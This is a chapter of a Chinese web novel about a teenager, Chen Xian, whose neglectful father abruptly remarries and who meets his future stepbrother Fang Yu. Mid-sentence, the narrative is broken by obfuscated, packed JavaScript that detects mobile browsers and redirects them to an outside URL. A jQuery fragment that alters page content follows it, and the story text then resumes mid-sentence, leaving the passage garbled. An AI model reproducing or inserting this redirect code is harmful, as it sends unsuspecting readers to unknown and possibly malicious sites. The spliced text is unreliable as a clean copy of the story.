宁城。
深秋了,宁城三中教学楼外的大杨树被风吹得哗啦啦响。
放学铃响了。
最后一节课的历史老师把知识点收了个尾,把讲义在讲桌上敲了两下:“下课!”
跟一群得了令的猴儿似的,学生们几声欢呼,嗖地冲出了教室,呜哇乱叫蹦蹦跳跳地就朝着校外飞奔。
周五了,也正常。
陈舷是里头叫得最欢的那只猴。
“老尚!老尚!”
他单肩挎着个双肩包,呜呜嗷嗷地冲出来,抓住他好哥们尚铭,笑得满面春风,“打篮球去啊!”
尚铭也给力地回叫:“走啊!摇人!”
俩人边笑边叫,正跟着人群往外跑时,就听旁边响了一声:“咳。”
两只猴齐齐一僵。
他俩又齐齐僵硬地扭过脑袋,一瞧,班主任程慧丽靠在办公室门框上。
她朝他俩一挑眉:“又去打球?”
陈舷尴尬片刻,挠挠后脑哈哈一笑:“都周五了,老大,又没晚自习……哎哟!”
程老师拿起手里的尺子,不轻不重地在他脑袋上敲了一下。
“没大没小!”她骂他,“叫老师,叫什么老大!”
陈舷朝她傻笑:“老师,老师。”
程慧丽板不住脸了,噗嗤笑起来——她不是跟陈舷真生气。
“行了,去吧。”她说,“周五了,愿意打就去打。不许晚回家啊,自己看着点时间。”
“好嘞!”
陈舷如蒙大赦,又喊一声谢谢老师,抓着尚铭就跑了。
尚铭也油头滑脑地喊了声“谢谢老师”,跟着陈舷蹦蹦跳跳地跑走了。
“走廊上别跳!”程慧丽在后头喊。
两只猴又喊着好,然后继续跳着跑了。
程慧丽无可奈何。
十五岁的陈舷在学校里十分吃得开。
他学习不好,但人缘好。好兄弟尚铭一个吆喝,立马就来了不少人来跟他们打篮球。有跟他一个班的,有跟他不是一个班的,甚至还有不同年的学长和学弟。
学校周五散的早,一群人就去了附近公园里的一个篮球场。
篮球场上热闹了两三个小时,一群人热火朝天地奋战了好久,天渐渐黑了。
一群人打得短袖校服都湿透了,一个个衣服前胸贴后背,大汗淋漓得头发都贴在脑门上。
见天黑了,一群人也就散了伙。
“走了啊舷哥!我妈叫我回家吃饭了!”
“我也走了舷哥!”
“拜拜舷哥,我再不走我妈要唠叨啦!”
“哦!”
夕阳落下,一群少年拽着自己湿透了的校服短袖领子扯了几下,跟他打了招呼,就都套上外套,拿起书包走了。
陈舷跟他们挥了挥手,笑着道别后,跟尚铭一块儿把篮球还了,也挎上书包回家去了。
俩人顺路去便利店买了俩肉包,边啃着边走在回家路上。
天黑下来了,路上路灯亮起,远处天边只剩一圈橘黄。走着走着,路边小摊上,一个小孩正拽着他妈衣角,指着小摊上挂着的“竹筒粽子”四个字儿叫:“妈,我要吃竹筒粽子!”
那妈无可奈何地笑着说好好好,直起身问店主:“竹筒粽子多少钱?”
陈舷看得一时感慨,叹了口气。
“咋了兄弟?”尚铭问他,“叹啥气,今儿可是礼拜五,明后两天周末。”
“有妈真好。”陈舷一脸沧桑。
“有病吧你,你又不是没妈。”尚铭笑骂他,“想你妈啦?想了就去看看呗,你妈不是离得不远嘛,坐高铁就半个多小时。”
“懂什么,去不了。”陈舷咬了口包子,“我妈当时都没要我抚养权,我爸说她前年就结婚了,现在又有新家又有新老公的,我过去多给她添堵。”
“不会吧,你可是亲儿子。”尚铭嘴巴鼓鼓的,声音含糊,“你妈亲口告诉你,她不要抚养权?”
“没有,我爸说的,他说我妈叫他转告给我的。”
“喔……”尚铭一阵沉吟,“我怎么听着怪怪的呢。”
“咋?你想说我爸骗我?”
“有这个可能性的嘛。你不爱听?”
陈舷没吭声,只是嚼着嘴里的包子。刚才咬的一口有点大,他这会儿嚼得两腮都很鼓,像仓鼠。
“你爸这几年对你也不咋地,都不怎么管你。天天十点才到家,学校开家长会也不来。”尚铭说,“我是羡慕你挺自由,但是你别嫌兄弟说话难听,不管你,那就是对你不上心呐。”
陈舷没吭声,又咬了口包子:“还好吧,他一直没给我找后妈,说不定,就是怕我会在后妈那儿受委屈,才一直单身?”
“你太天真了吧舷哥,这才几年——”
“尚铭!!!”
一声河东狮子吼从旁边居民楼上传来,路上行人都被狠狠吓得一哆嗦。
尚铭“哎我草”了声。
陈舷嘴里的包子差点呛住。
他转头一看,居民楼中间二层楼的位置,一个短发卷毛穿着粉色家居服的女人开了窗——那是尚铭他老妈。
她推开窗户,两手扒着窗框,正吼着:“死哪儿去了!你那死爹都到家了!上来吃饭了!!”
尚铭又羞又恼:“我知道了!你回去啊!很吓人很丢人呐!!”
“赶紧滚上来!”
他妈碰地关上窗户。
尚铭一脸死了爹似的扭曲。他抹了把脸,才回头对陈舷说:“那我也走了啊舷哥,明儿出来打电动。”
陈舷哭笑不得:“喔,拜拜。”
尚铭跟他挥挥手,转身一溜烟腾腾跑回家去了,背上的书包都一颠一颠。
陈舷站在原地,发了会儿呆。
天彻底黑下来了,天边的那一圈橘黄也消失不见。路上行人又开始来来往往,陈舷抬着头,没一会儿,听见尚铭他们家里有了动静。
“礼拜五你们下午不是三节课?你又死哪儿去了,提早放学还不提早回家?”
“我跟舷哥打会儿篮球去嘛!”
“又跟陈舷!”他妈抱怨了声,从窗边端起饭菜离开了。
他家窗户边上是厨房。
陈舷再听不见尚铭他妈说了什么,但他知道多半是抱怨自己的话。
陈舷的成绩十分稳定,每次都排第一——全年级倒数第一。
尚铭他妈对他有意见不是一两天了,但尚铭雷打不动,还是一直跟陈舷当铁哥们。
夜里起了风,吹得陈舷一脑袋黑毛摇摇。他低头,手里的包子已经没多少了,于是陈舷一连咬了两口,想一口气全部消灭。
刚剩最后一口时,手机在裤兜里嗡嗡地响了起来。
陈舷跟被踩了尾巴似的跳了一下,颤声着含混地我曹一声,把手机从兜里拿了出来。
他表情龇牙咧嘴,又笑意难耐。
陈舷是个非常怕痒的人,手机开震动放兜里,一旦贴着皮肤,他就会被痒到。
他的怕痒就是到了一种如此奇葩的地步。
他抹掉眼角边的眼泪,拿起手机一看,是他爹陈胜强。
陈舷把嘴里的包子胡乱嚼了几下,咽了下去,接起来:“干嘛?”
陈胜强开门见山:“下礼拜一到礼拜三你不用去学校了,我给你请了半个礼拜的假。”
陈舷愣了一下:“怎么了?出事了?”
“嗯。”陈胜强说,“我结婚。”
陈舷:“………………”
风突然大了。
陈舷举着手机,两眼发木。
手里的包子掉下去,栽楞楞地以头抢地。
一辆大巴车从路边开过,突然摁响喇叭。伴着一阵巨大的鸣笛,尖叫着路过了。
陈舷站在原地,麻木很久:“什么时候的事?”
“这周日结。”
“不是,谁问你那个了,”陈舷麻着,“你什么时候有的对象??”
“关你什么事?”陈胜强哼哼笑了声,“少打听大人的事。等结了婚,就搬进婚房里。你下礼拜一到礼拜三来帮忙搬家,搬完了再回学校,顺便也能跟那谁一起。”
“?”陈舷疑惑,“那谁是谁?”
“到时候你就知道了。”陈胜强只说,“对了,我结婚那天你先别去。我怕你后妈看见你不自在,结完婚以后你俩再见面。”
“……你……”
“那就这样,今晚我还要跟人家家里吃饭,又得十一二点了,你自己点外卖吃吧。”
电话里啪一声,陈胜强自顾自地把电话挂了。
陈舷拿开手机,望着只剩下无限回音嘟嘟嘟个不停的页面,没话说了。
老陈真是个很自说自话还自私的人。
陈舷站在风里,又凌乱了很久。
他耳朵边上回响起尚铭的话——他爸对他不上心。
陈舷抽了抽嘴角,呵呵笑出了声。
他越想越觉得搞笑,自己刚刚那句“我爸说不定是怕我在后妈那儿受委屈才一直单身”的屁话,开始在脑子里一遍一遍地回旋。
*
第二天周末,陈舷家里就来满了亲戚,双方的都在。
一群人坐在客厅里,桌子上堆满瓜子喜糖花生,他们一边磕着吃着一边聊着婚礼,有时又唠唠家常,然后时不时地发出一阵能把房顶掀翻的笑声。
陈舷坐在自己屋子里,盘腿窝在电脑跟前的旋转椅上,把自己转了一圈又一圈。
他沧桑地望着自己屋子窗户上的红色囍字窗花——他突然觉得陈胜强真他大爷丧心病狂一男的,一点儿铺垫都不给自己儿子留,上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505964|170483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来就来个王炸。
谁打斗地主不先出个三探探底?
哪儿有上来就俩王带四个二的,他有病吧。
陈舷叹着气。
从门外亲戚们的交谈声里,他理清了些现状。原来陈胜强的二婚对象,是他装修公司里新来的销售。
销售是个销冠,叫方真圆,社交能力超群,长得很漂亮,人很大方也很爽快,该温柔的时候又很温柔。
还是从别的城市来这个宁城打拼的。
而且方真圆就住在这个小区里,还就在隔壁楼。
陈舷心说那估计他见过,大家都在同一个小区里,还离得这么近。
陈舷心烦意乱,后面的没怎么听。直到周末吃过午饭,他姑姑陈庆兰推开门进来,说小舷,你今天自己在家吧,我们要去婚房再布置布置,你真圆阿姨明天要接到那边去。你爸也要准备准备,也不回来了。
陈舷愣了下:“不是接到这儿结婚?”
“傻孩子,说什么呢,你爸都买婚房了,没跟你说?”陈庆兰捂嘴偷笑,“这个老房子啊,已经卖了。等你爸结完婚,你们这房子就不要了。到时候,你跟你爸去新的大房子住,和你新妈一起过日子。”
陈舷说不出话。
他都不知道他爸还把这房子也卖了。
陈庆兰说完就走了,她嘱咐陈舷说晚上大家都不回来了,要他自己出去整点儿吃,或者在家点个外卖。
陈舷挥挥手说知道了。
陈庆兰笑着离开。
家里的一大群亲戚都一起走了,大家热热闹闹地下了楼。陈舷坐在自己卧室里,又听见他们在楼梯间里嘻嘻哈哈了一阵,闹腾地说方真圆和陈胜强挺配。
陈舷心烦意乱,想起自己亲妈的脸。
他又叹了口气,低身打开了电脑电源。
电脑开机。
陈舷盯着开机的动画发呆,心思忽然飘了很远。脑子里一阵空白又一阵胡思乱想,过了半天,陈舷才微微回过神。
电脑已经开机很久了,开机自启动的软件都一个接一个的蹦到界面上。
陈舷没动,尽管平时最爱打开的游戏已经自觉地自启动了。
一偏头,他看见桌子上的一张相框。
相框里,他亲妈陈桑嘉和陈胜强一起抱着他,仨人对着镜头,发自内心地、幸福地笑着。
陈胜强笑得眼角边皱纹挤出两三道,嘴巴扬着。
陈舷突然觉得这照片刺眼,也觉得没意思。
他伸手,重重把相框面朝下摁在桌子上。
清净了。
楼梯间里突然一阵脚步声,咚咚锵锵了好一阵。
陈舷本就心烦,一听这动静,心里的气火更不打一处来了。他把脑袋上的耳机薅下来,啧了一声,嘟嘟囔囔地骂:“有完没完,一个两个怎么都这么烦人——……”
话还没落,家门口响起钥匙开锁的声音。
陈舷一怔。
他走出门去,拉开卧室的门,往门口一看。
门外的人刚好打开门。
陈庆兰站在外面。她身后,站着个瘦瘦高高,低着脑袋的男生。
陈庆兰满脸堆笑起来,连忙躲开身,给身后的男生让出条路来。
“小舷,这是你真圆阿姨家的儿子,以后是你弟弟,比你小一岁。”她说,“他叫方谕。”
——他叫方谕。
陈舷第一次见到方谕就是这时候。十五岁这年,亲爹荒唐地要二婚的时候,姑姑把刚在亲妈家里歇斯底里了一通的方谕送到了他这儿来。
外头的亲戚们欢天喜地,都衷心地庆祝离过婚的男人和女人再次找到了能共度一生的伴侣,留他和方谕被突然的通知砸得头破血流,不知所措。
陈舷的不知所措是安静的自闭,方谕的不知所措是歇斯底里的争吵。
于是他被方真圆赶了出来,亲戚们说他得冷静冷静,就把他扔来了陈舷这里。
他们说他迟早是他哥哥。
陈舷也是很久之后才知道,这时候的方谕刚跟亲妈吵了一架。
陈舷望了方谕一眼。
方谕身上穿着洗得发白的白t,一头略长的头发挡住了眼睛。露出的胳膊消瘦惨白,看起来营养不良。
陈庆兰说你们好好相处,然后把方谕推进了屋子里。
门关上,楼下有人喊了陈庆兰一声。陈庆兰在门外欢快地应着,高高兴兴踩着高跟鞋,噔噔地下了楼。
方谕进了门里,站在门口没动。
陈舷也站在卧室门口没动。老陈家层数低,就在二楼。他听见单元门前,双方的亲戚们笑着互相奉承,又商量着明天的婚礼。不知谁开了个玩笑,一群人又开怀大笑起来。
天气晴朗。
所有人都很高兴。
除了他和对面这个方谕。